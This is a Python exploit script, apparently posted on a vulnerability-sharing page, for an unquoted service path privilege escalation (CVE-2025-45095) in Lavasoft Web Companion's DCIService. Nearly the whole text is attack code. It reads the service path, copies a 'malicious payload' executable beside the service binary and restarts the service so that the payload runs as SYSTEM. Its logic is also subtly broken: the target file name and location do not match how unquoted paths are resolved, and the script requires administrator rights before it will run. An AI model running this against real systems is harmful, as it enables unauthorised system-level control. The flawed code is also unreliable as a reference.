CVE-2025-45095 Lavasoft Web Companion未引用服务路径权限提升漏洞

# CVE-2025-45095 - Lavasoft Web Companion Unquoted Service Path Exploit # Vulnerability: Unquoted Service Path in DCIService.exe # Affected: Lavasoft Web Companion v8.9.0.1091 - v12.1.3.1037 import os import sys import subprocess import ctypes def check_service_path(): """Check the service path of DCIService""" try: result = subprocess.run( ['sc', 'qc', 'DCIService'], capture_output=True, text=True, check=True ) output = result.stdout for line in output.split('\n'): if 'BINARY_PATH_NAME' in line: path = line.split(':', 1)[1].strip() return path except subprocess.CalledProcessError: print("[-] DCIService not found or access denied") return None def exploit_unquoted_path(malicious_path): """ Place a malicious executable in a directory that appears earlier in the unquoted path resolution order. Example: If path is "C:\Program Files\Lavasoft\Web Companion\DCIService.exe" Place malicious exe at "C:\Program.exe" or "C:\Program Files\Lavasoft.exe" """ service_path = check_service_path() if not service_path: print("[-] Could not retrieve service path") return False print(f"[*] Service binary path: {service_path}") # Check if path is quoted if service_path.startswith('"') and service_path.endswith('"'): print("[+] Service path is properly quoted. Not vulnerable.") return False print("[!] Service path is NOT quoted - VULNERABLE!") # Split path by spaces to find exploitable directories parts = service_path.split('\\') exploit_path = '\\'.join(parts[:2]) # e.g., C:\Program Files # Determine the malicious filename based on path splitting if len(parts) > 2: # The third component will be tried as executable target_dir = '\\'.join(parts[:-1]) target_name = parts[-2] + '.exe' # Previous dir name + .exe target_full_path = os.path.join(target_dir, target_name) print(f"[*] Target exploit path: {target_full_path}") # Copy malicious payload to the target location try: import shutil shutil.copy2(malicious_path, target_full_path) print(f"[+] Malicious payload placed at: {target_full_path}") print("[*] Wait for service restart or trigger service restart") # Attempt to restart the service subprocess.run(['sc', 'stop', 'DCIService'], capture_output=True) subprocess.run(['sc', 'start', 'DCIService'], capture_output=True) print("[+] Service restart triggered - payload should execute as SYSTEM") return True except PermissionError: print("[-] Permission denied. Need write access to target directory.") return False return False if __name__ == "__main__": if not ctypes.windll.shell32.IsUserAnAdmin(): print("[-] This exploit requires write access to system directories") print("[*] Note: Attacker needs prior filesystem write access") sys.exit(1) payload = sys.argv[1] if len(sys.argv) > 1 else "payload.exe" exploit_unquoted_path(payload)